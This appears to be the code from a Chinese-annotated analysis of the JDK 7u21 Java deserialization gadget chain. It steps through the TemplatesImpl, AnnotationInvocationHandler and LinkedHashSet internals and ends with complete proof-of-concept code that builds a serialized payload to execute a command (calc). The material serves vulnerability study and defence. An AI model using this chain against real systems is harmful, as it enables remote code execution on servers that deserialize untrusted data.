public static void main(String[] args) throws Exception {
        TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
        calc.getOutputProperties();//调用getOutputProperties就可以执行calc
    }

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();//我们进入newTransformer方法
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//此处没有啥限制条件，进入getTransletInstance()

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            //限制条件1：TemplatesImpl类中的_name变量！=null
            if (_name == null) return null;
           //限制条件2：TemplatesImpl类中的_class变量==null
            if (_class == null) defineTransletClasses();//进入此处，查看其他限制条件

            // 漏洞触发代码就是下面这一行，_transletIndex是在defineTransletClasses()中赋值的，其实就是选取了一个特定条件的class获取它的实例。
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            ...//这里之后的代码不重要，省略

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

private void defineTransletClasses()
        throws TransformerConfigurationException {
        //限制条件3：TemplatesImpl类中的_bytecodes变量！=null
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
        //引入加载器
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new 
        //限制条件4：TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
        //           即需要是一个TransformerFactoryImpl类
   TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            //以下主要做的事情是通过加载器从_bytecodes中加载类至_class。（bytecodes可以是一个数组转换为一个数组class）
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                //转化。ClassLoader.defineClass() 会转载javabyte变为class类，但是不会执行static代码。
                _class[i] = loader.defineClass(_bytecodes[i]);
                //获取转过来的class的父类
                final Class superClass = _class[i].getSuperclass();

 // 对于读取进来的class的父类进行限制，满足条件才改变_transletIndex的值
 // 之后将获取class[_transletIndex]的实例
 // ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
 // 限制条件5：_bytecodes的类必须是ABSTRACT_TRANSLET的子类
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

public static void main(String[] args) throws Exception {
    TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
    calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
        final TemplatesImpl templates = new TemplatesImpl();

        // 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
        // 满足条件5：恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
        ClassPool pool = ClassPool.getDefault();//Javassist包中建立一个容器
        //添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        //从Classpath中寻找自定义的恶意模板类StubTransletPayload，引入它，之后对它进行修改
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // 2.在自定义恶意类中添加静态模块，一句Rumtime.exec，命令从外部引入
        // 满足条件6：需要执行的恶意代码写在类的静态方法或构造方法中。
        clazz.makeClassInitializer()
                .insertAfter("java.lang.Runtime.getRuntime().exec(\""
                        + command.replaceAll("\"", "\\\"")
                        + "\");");
        // 3.设置一个唯一性的class名称
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
       // 4. 把我们的自定义的恶意类转化成byte数组模式
        final byte[] classBytes = clazz.toBytecode();

        // 4. 添加byte数组classBytes至_bytecodes字段，再添加一个另外准备的Foo类的字节（目前来看是多余的）
        // 满足条件3：TemplatesImpl类的 `_bytecodes` 变量 != null
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes,
                ClassFiles.classAsBytes(Foo.class)});

        // 5. 满足条件1：TemplatesImpl类的 `_name` 变量 != null
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        // 6. 满足条件4：使TemplatesImpl类的_tfactory是一个拥有getExternalExtensionsMap()方法的类
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        // 没有设置_class，满足条件2：TemplatesImpl类的`_class`变量 == null
        return templates;
    }

//很优秀的按照要求继承了AbstractTranslet类
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;
//以下看似是多余的，实际上是继承AbstractTranslet的必要，不然会报错。
//transform(DOM document, SerializationHandler[] handlers) 需要实现 AbstractTranslet 的一个虚拟类
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
//下面这个函数 需要实现AbstractTranslet类对应的Translet接口的一个接口
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    }

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);//获取了对应的字段后，进行赋值。
    }
//Reflections#getField
    public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);//通过反射机制获取该字段
        if (field != null)
            field.setAccessible(true);//接触private限制
        else if (clazz.getSuperclass() != null)
            //判断父类，如果有父类，就获取父类的值，TemplatesImpl类没有父类，这里没用上。
            field = getField(clazz.getSuperclass(), fieldName);
        return field;
    }

public class jdk7u21_mine {
    //从lala这个类中提取我们命令执行的字节码
    public static class lala{

    }
    //步骤一 TemplatesImpl类
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态方法和构造方法均可，这边试一下构造方法
        //cc.makeClassInitializer().insertBefore(cmd);
        //这样可以直接添加构造函数
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{"+cmd+"}");
        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        byte[] lalaByteCodes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{lalaByteCodes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Reflections.setFieldValue(templates,"_bytecodes",targetByteCodes);
        Reflections.setFieldValue(templates,"_name","lala"+System.nanoTime());
        Reflections.setFieldValue(templates,"_class",null);
        Reflections.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        templates.getOutputProperties();
        //一样可以触发
//        templates.newTransformer();
    }

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 需要实现的接口（拦截动作是基于接口的，所以需要设定接口）
interface ISubject {
    public void hello(String str);
}

// 实际的需要被代理的对象
class SubjectImpl implements ISubject {
    public void hello(String str) {
        System.out.println("SubjectImpl.hello(): " + str);
    }
}

// Handler对象（继承InvocationHandler的拦截器）
//InvocationHandler是一个用于跟Proxy类对接的接口
class Handler implements InvocationHandler {
    private Object subject;
    //构造函数，传入被代理实现类的实例
    public Handler(Object subject) {
        this.subject = subject;
    }
//所有被Proxy拦截的函数都会经过这个接口的invoke函数
    public Object invoke(Object object, Method method, Object[] args) throws Throwable {
        System.out.println("before!");
        //完成拦截操作之后去调用被代理实现类，反射机制，传入实例，参数
        method.invoke(this.subject, args);
        System.out.println("after!");
        return null;
    }
}


public class DynamicProxy {
    public static void main(String[] args) {
        //被代理类
        SubjectImpl subject = new SubjectImpl();
        //拦截器实现类，通过构造函数传入被代理类的实例
        InvocationHandler tempHandler = new Handler(subject);

// 使用Proxy.newProxyInstance创建代理
        ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
        iSubject.hello("world!");
    }
}

before!
SubjectImpl.hello(): world!
after!

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    //实现了InvocationHandler接口的invoke函数
    public Object invoke(Object var1, Method var2, Object[] var3) {
        ...
    }
}

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

//var1 当前的Proxy代理实例对象，即a.b(c)的a
//var2 当前调用的方法，即a.b(c)的b
//var3 当前调用方法的传入参数列表，即a.b(c)的c
public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();//被调用方法名
        Class[] var5 = var2.getParameterTypes();//获取传入参数类型列表
    //如果调用的方法名是equals，传入一个参数，并且为Object类型,即a.equal((Object.class)c)
    //此处的意思应该为判断a是否与传入的c完全相等。
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);//我们进入此处，传入的是a.b(c)中的c的第一个参数
        } else {
        ...

//var1 a.b(c)的c
private Boolean equalsImpl(Object var1) {
        // var1 若为AnnotationInvocationHandler类，就相等
        if (var1 == this) {
            return true;
        // var1 应该为this.type的实例 （此处为一个要求）
        // 此处意思应该是只能比较this.type中规定好的类是否完全一致
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            //如果是this.type（可控）中的类的实例的话
            //就要开始获取this.type这个类中的所有方法
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;
           //去对应着遍历调用c对象中的Methods方法
            //把结果与在构造函数中定义的this.memberValues做对比，若一样则判定相等
            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];//遍历获取方法
                String var6 = var5.getName();//获取方法名字
                Object var7 = this.memberValues.get(var6);//获取我们控制的menberValues中的值
                Object var8 = null;
                //看看var1是不是也是一个代理类，如果是获取它的代理实现类（这里没用）
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    //不是代理类，进入此处
                    try {
                        var8 = var5.invoke(var1);//反射调用！！！！
                        //这里的意思就是 var1.var5()
                        //根据this.type类型遍历所有方法，调用传入参数var1中的所有对应方法。
                        } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }
                //该函数原本的功能 需要比较下调用返回结果与预设值一样不。
                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

public interface Templates {
    Transformer newTransformer() throws TransformerConfigurationException; 
    Properties getOutputProperties();
}

public static void main(String[] args) throws Exception {
       //AnnotationInvocationHandler构造函数的this.memberValues
        Map map = new HashMap();
        //获取AnnotationInvocationHandler构造函数
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        //由于是缺省修饰符，不同的包，不能直接调用。允许调用
        ctor.setAccessible(true);
        //创建AnnotationInvocationHandler实例，this.type=Templates.class
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);
        //Override是一个啥都没有的接口，这里用这个类，表示其实绑定啥都没关系
        //在高版本的jdk中，在构造函数中对于type做了校验，如果要在高版本中构造payload，需要使用反射机制构筑。如果对方也是高版本的jdk（即经过了修复）那么我们构筑的InvocationHandler类也是因为构造方法通过不了而无法利用。具体我们在后面修复情况中说到。
        //InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,map);
         //Reflections.setFieldValue(tempHandler, "type", Templates.class);
        //有些地方POC写的是Templates.class类，其实没必要
        Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);
        //恶意类
        final Object templates = Gadgets.createTemplatesImpl("calc");
        //调用，执行`TemplatesImpl.newTransformer()`
        proxy.equals(templates);
    }

public class LinkedHashSet<E>
    extends HashSet<E>
    implements Set<E>, Cloneable, java.io.Serializable {
    ...
    //给一个我们要用到的构造函数
    public LinkedHashSet() {
            super(16, .75f, true);//进去这里看看
        }
    //LinkedHashSet这个类其实根本没有自己实现过类，只有四个构造函数，实际上使用LinkedHashMap实现有序功能的
    ...
    }

HashSet(int initialCapacity, float loadFactor, boolean dummy) {
        map = new LinkedHashMap<>(initialCapacity, loadFactor);//可以看到使用LinkedHashMap创建了有序集合
    }

//我们构造payload，最终调用writeObject 
private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
        // 序列化任何隐藏的序列化魔术（不懂什么骚操作）
        s.defaultWriteObject();

        // 序列化map的容量与加载器
        s.writeInt(map.capacity());
        s.writeFloat(map.loadFactor());

        // 序列化map的大小
        s.writeInt(map.size());

        // 遍历序列化每一个map中的元素
        for (E e : map.keySet())
            s.writeObject(e);
    }

//在服务端触发payload，最先触发的函数。
 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // 反序列化任何隐藏的序列化魔术（不懂什么骚操作）
        s.defaultReadObject();

        // 反序列化HashMap容量和加载器并创建备份HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // 反序列化map的大小
        int size = s.readInt();

        // 遍历反序列化每一个map的元素，并把他们加入到map中
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();//获取我们每一个map元素
            map.put(e, PRESENT);//重新放入map中，我们进入此处,就是出在这里。
            //e为我们map的元素，present是一个常量，就是一个新的object对象
        }
    }

//这个key，就是我们传入的元素，value是一个固定值木有用。
public V put(K key, V value) {
        //key不能为null
        if (key == null)
            return putForNullKey(value);
        //计算key的hash值
        int hash = hash(key) ;
        int i = indexFor(hash, table.length);
        // 遍历已有的元素
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            //本意是判断最新的元素是否已经存在的元素
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                //如果是已经存在的元素，就返回已经存在的value。不插入。
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        //如果不是已经存在的元素，就插入到table中
        addEntry(hash, key, value, i);
        return null;
    }

final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }

        h ^= k.hashCode();//惊为天人的调用了我们传入的对象k的hashCode函数，也就是说我们有可能可以对于hash值进行一定的操控
        //接下来又是一些骚操作
        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);//我们之前payload触发在这
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {//往下看！这个可爱的invoke实现上对于hashCode这个函数还是有独特处理的！！！！
                return this.hashCodeImpl();//进去看看

private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        //this.memberValues是我们构造AnnotationInvocationHandler时，可控的那个map
        Iterator var2 = this.memberValues.entrySet().iterator();//获取遍历器
        for( ;var2.hasNext(); ) {
            var3 = (Entry)var2.next();
            String key = var3.getKey();//（可控map的键）
            Object value = var3.getValue()；//（可控map的值）
            var1 += 127 * 
                key.hashCode() ^    //可控map的键 的 hashCode                
                memberValueHashCode(value); //可控map的值的 hashCode
        }

        return var1;
    }

private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {//不是数组的话获取传入值的hashCode。
            return var0.hashCode(); //返回var0这个对象的hashCode
        ...

public static void main(String[] args) throws Exception {
        //生成恶意的templates类
        Templates templates = Gadgets.createTemplatesImpl("calc");
        //AnnotationInvocationHandler类this.memberValues的map,填入键值对来满足hash相等
        Map map = new HashMap();
        String magicStr = "f5a5a608";
        //String magicStr_null = "";//也可
        //此处需要的先往map中放入一个没用的值，之后说明
        map.put(magicStr,"Override");

        //生成proxy对象
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);//this.type,this.memberValues
        Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);

        //生成LinkedHashSet，按照顺序一次放入templates和proxy
        HashSet set = new LinkedHashSet(); // 填入
        set.add(templates);
        set.add(proxy);
        //重新修改map的值
        map.put(magicStr,templates);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        //序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(set);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();
        //反序列化
        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }

public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }